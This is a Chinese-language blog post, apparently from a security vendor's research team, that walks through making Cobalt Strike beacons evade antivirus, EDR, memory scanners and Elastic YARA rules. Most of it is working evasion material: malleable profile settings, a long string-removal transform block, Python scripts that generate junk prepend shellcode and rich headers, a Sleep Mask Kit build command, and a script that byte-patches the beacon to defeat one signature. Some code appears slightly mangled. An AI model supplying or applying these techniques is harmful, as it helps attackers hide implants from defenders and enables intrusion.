Cobalt-Strike 通过修改配置文件免杀

前言

山石情报中心在进行威胁狩猎时,意外发现一批威胁组织样本。有趣的是,这些样本中的CobaltStrike的beacon在内存中含有完整的shellcode上下文,竟然成功绕过了本地杀软的检测。鉴于这一发现,我们的团队决定深入研究CobaltStrike是如何规避相关杀软和EDR检测的,尤其是在beacon未加密的情况下。需要强调的是,我们的目的是分享学习经验,而非鼓励违法活动。

绕过内存扫描

Cobalt Strike 的最新版本使使用者可以轻松绕过 BeaconEye 和 Hunt-Sleeping-Beacons 等内存扫描仪。打开以下选项:

  • 将 sleep_mask 设置为“true”;

通过启用此选项,Cobalt Strike 将在休眠之前对其堆和beacon的每个映射部分进行异或,从而在beacon内存中不留下任何不受保护的字符串或数据。因此,上述任何工具都不会进行任何检测。

Cobalt-Strike 通过修改配置文件免杀

BeaconEye 也无法找到休眠 Beacon 的恶意进程:

Cobalt-Strike 通过修改配置文件免杀

虽然它绕过了内存扫描器,交叉引用了内存区域,但我们发现它直接引导我们找到内存中的信标有效负载。

Cobalt-Strike 通过修改配置文件免杀

这表明,由于beacon是 API 调用的起始位置,一旦 WaitForSingleObjectEx 函数完成,执行将返回那里。对内存地址而不是导出函数的引用是一个危险操作。自动工具和手动分析都可以检测到这一点。强烈建议使用 Artifact Kit 启用“堆栈欺骗”,以防止此类 IOC。即使它不是可延展配置文件的一部分,启用此选项也是值得的。必须通过将第五个参数设置为 true 来启用欺骗机制:

Cobalt-Strike 通过修改配置文件免杀

在编译过程中,将生成一个 .CNA 文件,并且必须将其导入到 Cobalt Strike 中。导入后,更改将应用于新生成的有效负载。我们再分析一下Beacon:

Cobalt-Strike 通过修改配置文件免杀

差异非常明显。线程堆栈被欺骗,没有留下内存地址引用的痕迹。还应该提到的是,Cobalt Strike 于 2021 年 6 月在武器库工具包中添加了堆栈欺骗。但是,我们发现调用堆栈欺骗仅适用于使用artifact kit创建的 exe/dll 工件,不适用于通过 shellcode 注入的线程。

绕过静态签名

现在是测试信标针对静态签名扫描仪的性能的时候了。启用以下功能将删除存储在信标堆中的大部分字符串:

  • set obfuscate “true”;

将配置文件应用于 Cobalt Strike 后,生成原始 shellcode 并将其放入 Shellcode 加载器的代码中。EXE编译完成后,我们分析了存储字符串的差异:

Cobalt-Strike 通过修改配置文件免杀

Cobalt-Strike 通过修改配置文件免杀

在许多测试用例中,我们意识到即使使用大量定制的配置文件(包括混淆),信标仍然会被检测到。使用 ThreadCheck,我们意识到 msvcrt 字符串被识别为“bad bytes”特征:

Cobalt-Strike 通过修改配置文件免杀

这确实是在 Beacon 堆中找到的字符串。混淆选项并没有完全删除所有可能的字符串:

Cobalt-Strike 通过修改配置文件免杀

我们稍微修改一下配置文件以删除此类可疑字符串:

strrep "msvcrt.dll" "";
strrep "C:\Windows\System32\msvcrt.dll" "";

但是这并没有多大帮助,因为字符串仍然在堆中找到。我们可能需要采取不同的方法来解决这个问题。

Clang++

不同的编译器有自己的一组优化和标志,可用于针对特定用例定制输出。通过尝试不同的编译器,用户可以获得更好的性能,并有可能绕过更多的 AV/EDR 系统。
例如,Clang++ 提供了多个优化标志,可以帮助减少编译代码的大小,而 GCC (G++) 则以其高性能优化能力而闻名。通过使用不同的编译器,用户可以获得可以逃避检测的独特可执行文件:

Cobalt-Strike 通过修改配置文件免杀

字符串 msvcrt.dll 不再显示,导致 Windows Defender 被绕过:

Cobalt-Strike 通过修改配置文件免杀

针对各种防病毒产品进行测试会产生一些不错的结果(未加密的 shellcode):

Cobalt-Strike 通过修改配置文件免杀

删除字符串是远远不够的

尽管在我们的配置文件中启用了混淆,但我们仍然能够检测到信标堆栈内的大量字符串:

Cobalt-Strike 通过修改配置文件免杀

我们对配置文件进行了一些修改,添加了以下选项以删除所有提到的字符串:

transform-x64 {
    prepend "x90x90x90x90x90x90x90x90x90"# prepend nops
    strrep "This program cannot be run in DOS mode" ""# Remove this text
    strrep "ReflectiveLoader" "";
    strrep "beacon.x64.dll" "";
    strrep "beacon.dll" ""# Remove this text
    strrep "msvcrt.dll" "";
    strrep "C:\Windows\System32\msvcrt.dll" "";
    strrep "Stack around the variable" "";
    strrep "was corrupted." "";
    strrep "The variable" "";
    strrep "is being used without being initialized." "";
    strrep "The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
    strrep "A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:" "";
    strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
    strrep "Stack memory was corrupted" "";
    strrep "A local variable was used before it was initialized" "";
    strrep "Stack memory around _alloca was corrupted" "";
    strrep "Unknown Runtime Check Error" "";
    strrep "Unknown Filename" "";
    strrep "Unknown Module Name" "";
    strrep "Run-Time Check Failure" "";
    strrep "Stack corrupted near unknown variable" "";
    strrep "Stack pointer corruption" "";
    strrep "Cast to smaller type causing loss of data" "";
    strrep "Stack memory corruption" "";
    strrep "Local variable used before initialization" "";
    strrep "Stack around" "corrupted";
    strrep "operator" "";
    strrep "operator co_await" "";
    strrep "operator<=>" "";
}

问题解决了!字符串不再存在于堆栈中。

前置操作码

此选项会将配置文件中的操作码附加到生成的原始 shellcode 的开头。因此,必须创建一个完全有效的 shellcode,以免在执行时使信标崩溃。基本上我们必须创建一个不会影响原始 shellcode 的垃圾汇编代码。我们可以简单地使用一系列“0x90”(NOP)指令,或者更好的是,使用以下汇编指令列表的动态组合:

inc esp
inc eax
dec ebx
inc ebx
dec esp
dec eax
nop
xchg ax,ax
nop dword ptr [eax]
nop word ptr [eax+eax]
nop dword ptr [eax+eax]
nop dword ptr [eax]
nop dword ptr [eax]

选择一个独特的组合(通过打乱指令或添加/删除它们),最后将其转换为 x 格式以使其与配置文件兼容。在本例中,我们按原样获取指令列表,因此当转换为正确的格式时,最终的垃圾 shellcode 将如下所示:

transform-x64 {
        ...
        prepend "x44x40x4Bx43x4Cx48x90x66x90x0Fx1Fx00x66x0Fx1Fx04x00x0Fx1Fx04x00x0Fx1Fx00x0Fx1Fx00";
        ...
}

我们更进一步,使用一个简单的 python 脚本自动化整个过程。该代码将生成一个随机的垃圾 shellcode,您可以在 prepend 选项上使用它:

import random
byte_strings = ["40""41""42""6690""40""43""44""45""46""47""48""49""""4c""90""0f1f00""660f1f0400""0f1f0400""0f1f00""0f1f00""87db""87c9""87d2""6687db""6687c9""6687d2"]

# 随机
random.shuffle(byte_strings)
formatted_bytes = []
for byte_string in byte_strings:
    if len(byte_string) > 2:
        byte_list = [byte_string[i:i+2for i in range(0, len(byte_string), 2)]
        formatted_bytes.append(''.join([f'\x{byte}' for byte in byte_list]))
    else:
        formatted_bytes.append(f'\x{byte_string}')
formatted_string = ''.join(formatted_bytes)
print(formatted_string)

当使用更改后的配置文件再次生成原始 shellcode 时,您会注意到前置字节(MZ 标头之前的所有字节):

Cobalt-Strike 通过修改配置文件免杀

设置rich header

添加 rich_header 在免杀方面没有任何区别;然而,仍然建议用它加强扫描器对抗。该选项负责编译器插入的元信息。Rich header 是一个 PE 部分,充当 Windows 可执行文件构建环境的指纹,并且由于它是一个不会被执行的部分,因此我们可以创建一个小的 python 脚本来生成垃圾汇编代码:

import random

def generate_junk_assembly(length):
    return ''.join([chr(random.randint(0255)) for _ in range(length)])

def generate_rich_header(length):
    rich_header = generate_junk_assembly(length)
    rich_header_hex = ''.join([f"\x{ord(c):02x}" for c in rich_header])
return rich_header_hex
#确保操作码的数量必须是4字节对齐的
print(generate_rich_header(100))

复制输出 shellcode,并将其粘贴到配置文件中(在 stage 块内):

stage {
    ...
    set rich_header "x2ex9axadxf1...";
    ...
}

注意:Rich Header 的长度必须是 4 字节对齐,否则会有 OPSEC 警告:

Cobalt-Strike 通过修改配置文件免杀

OPSEC 警告:为了使 Rich Header 看起来更合法,您可以转换真正的 DLL 并将其转换为 shellcode 格式。

绕过主流YARA 规则

最具挑战性的 YARA 规则之一来elastic规则。使用上述可延展配置文件中修改/创建的所有选项来测试我们的原始信标。

使用Arsenal Kit 中的Sleep Mask可以轻松绕过Windows_Trojan_CobaltStrike 规则。尽管通过将 sleep_mask 设置为“true”在可延展配置文件中启用了 sleep_mask,但仍然不足以绕过此静态特征,因为所执行的混淆例程很容易被检测到。为了使用Sleep Mask Kit,请通过 build.sh 生成 .CNA 文件并将其导入到 Cobalt Strike。

要生成睡眠掩码,我们必须提供参数。如果使用的是最新的 Cobalt Strike 版本,请将 4.9 作为第一个参数。第二个参数与使用的 Windows API 有关。我们使用 WaitForSingleObject,因为现代检测解决方案拥有针对睡眠的对策,例如挂钩 C/C++ 中的 Sleep 或 C# 中的 Thread.Sleep 等睡眠函数来取消睡眠,而且还可以快进。建议始终将第三个参数设置为 true,以便屏蔽beacon内存中的明文字符串。最后,使用系统调用将避免用户态挂钩;在这种情况下,indirect_randomized 将是Sleep Mask Kit的最佳选择。您可以使用以下 bash 命令生成Sleep Mask Kit:

bash build.sh 49 WaitForSingleObject true test/dir/

Cobalt-Strike 通过修改配置文件免杀

加载生成的 .CNA 后,我们可以扫描原始 shellcode。规则 b54b94ac 被绕过,但是,还有两个规则需要绕过。

Cobalt-Strike 通过修改配置文件免杀

我们来分析一下Windows_Trojan_CobaltStrike_1787eef5这个规则是什么:

Cobalt-Strike 通过修改配置文件免杀

简单看一下该规则,我们可以清楚地看到该规则正在扫描PE头,例如4D 5A(MZ头)。我们可以确认我们的 shellcode 确实具有标记的字节:

Cobalt-Strike 通过修改配置文件免杀

幸运的是,Cobalt Strike 通过将以下选项应用于配置文件,使我们可以更轻松地修改 PE 标头:

  • set magic_mz_x64 “OOPS”;

该值可以是任意值,只要长度为四个字符即可。将此选项添加到我们的配置文件将使 Windows_Trojan_CobaltStrike_1787eef5 不再检测到信标: 

Cobalt-Strike 通过修改配置文件免杀

我们可以看到魔术字节如何更改为我们之前在原始 shellcode 上放置的内容:

Cobalt-Strike 通过修改配置文件免杀

现在让我们绕过Windows_Trojan_CobaltStrike_f0b627fc(最难的一个)。反汇编YARA规则的操作码,我们得到以下结果:

Cobalt-Strike 通过修改配置文件免杀

我们可以确认它存在于我们的 shellcode 中:

Cobalt-Strike 通过修改配置文件免杀

为了解决这个规则,我们首先必须分析 x64dbg 中的 shellcode。我们在 eax,0xFFFFFF(YARA 标记的指令)上设置断点,标志(ZF)被设置为1,因不进行跳转(JNE指令)我们将指令and eax, 0xFFFFFF 更改为 mov eax,0xFFFFFF (因为这两条指令几乎相同):

Cobalt-Strike 通过修改配置文件免杀

为了完全自动化字节替换,我们创建了一个 python 脚本,在生成的shellcode中直接patch:

def replace_bytes(input_filename, output_filename):
    search_bytes      = b"x25xffxffxffx00x3dx41x41x41x00"
    replacement_bytes = b"xb8x41x41x41x00x3Dx41x41x41x00"
    with open(input_filename, "rb"as input_file:
        content = input_file.read()
        modified_content = content.replace(search_bytes, replacement_bytes)
    with open(output_filename, "wb"as output_file:
        output_file.write(modified_content)
    print(f"Modified content saved to {output_filename}.")
input_filename = "beacon_x64.bin"
output_filename = "output.bin"
replace_bytes(input_filename, output_filename)

该代码搜索字节序列 x25xffxffxffx00x3dx41x41x41x00 (and eax,0xFFFFFF)并将其替换为新的字节序列 xb8x41x41x41 x00x3Dx41x41x41x00(mov eax,0xFFFFFF)。更改随后将保存到新的二进制文件中。

结论

在测试环境中,尽管我们使用了非常基本的代码在具有 RWX 权限的本地内存进程中注入原始 Shellcode(垃圾 OPSEC),但我们仍然设法绕过了现代EDR检测。事实证明,利用高度定制和先进的 Cobalt Strike 配置文件是逃避 EDR 解决方案和防病毒软件检测的有效策略,以至于无需对 shellcode 进行加密。

关于山石网科情报中心

山石网科情报中心,涵盖威胁情报狩猎运维和入侵检测与防御团队。山石网科情报中心专注于保护数字世界的安全。以情报狩猎、攻击溯源和威胁分析为核心,团队致力于预防潜在攻击、应对安全事件。山石网科情报中心汇集网络安全、计算机科学、数据分析等专家,多学科融合确保全面的威胁分析。我们积极创新,采用新工具和技术提升分析效率。团队协同合作,分享信息与见解,追求卓越,为客户保驾护航。无论是防范未来威胁还是应对当下攻击,我们努力确保数字世界安全稳定。其中山石网科网络入侵检测防御系统,是山石网科公司结合多年应用安全的攻防理论和应急响应实践经验积累的基础上自主研发完成,满足各类法律法规如 PCI、等级保护、企业内部控制规范等要求。

山石云瞻威胁情报中心:
https://ti.hillstonenet.com.cn/

Cobalt-Strike 通过修改配置文件免杀

山石云影沙箱:
https://sandbox.hillstonenet.com.cn/

Cobalt-Strike 通过修改配置文件免杀

参考链接

  1. https://macchiato.ink/web/tools/CS_Profile/

  2. https://www.chabug.org/web/832.html

  3. https://github.com/rsmudge/Malleable-C2-Profiles

  4. https://github.com/EvilGreys/Cobalt-Strike-Profiles-for-EDR-Evasion

  5. https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/3-%E7%AC%AC%E4%B8%80%E8%8A%82%5BMalleable%20C2%20%E9%85%8D%E7%BD%AE%E7%AE%80%E4%BB%8B%E4%B8%8E%E4%BD%BF%E7%94%A8%5D.md

原文始发于微信公众号(山石网科安全技术研究院):Cobalt-Strike 通过修改配置文件免杀

版权声明:admin 发表于 2024年1月29日 下午5:16。
转载请注明:Cobalt-Strike 通过修改配置文件免杀 | CTF导航

相关文章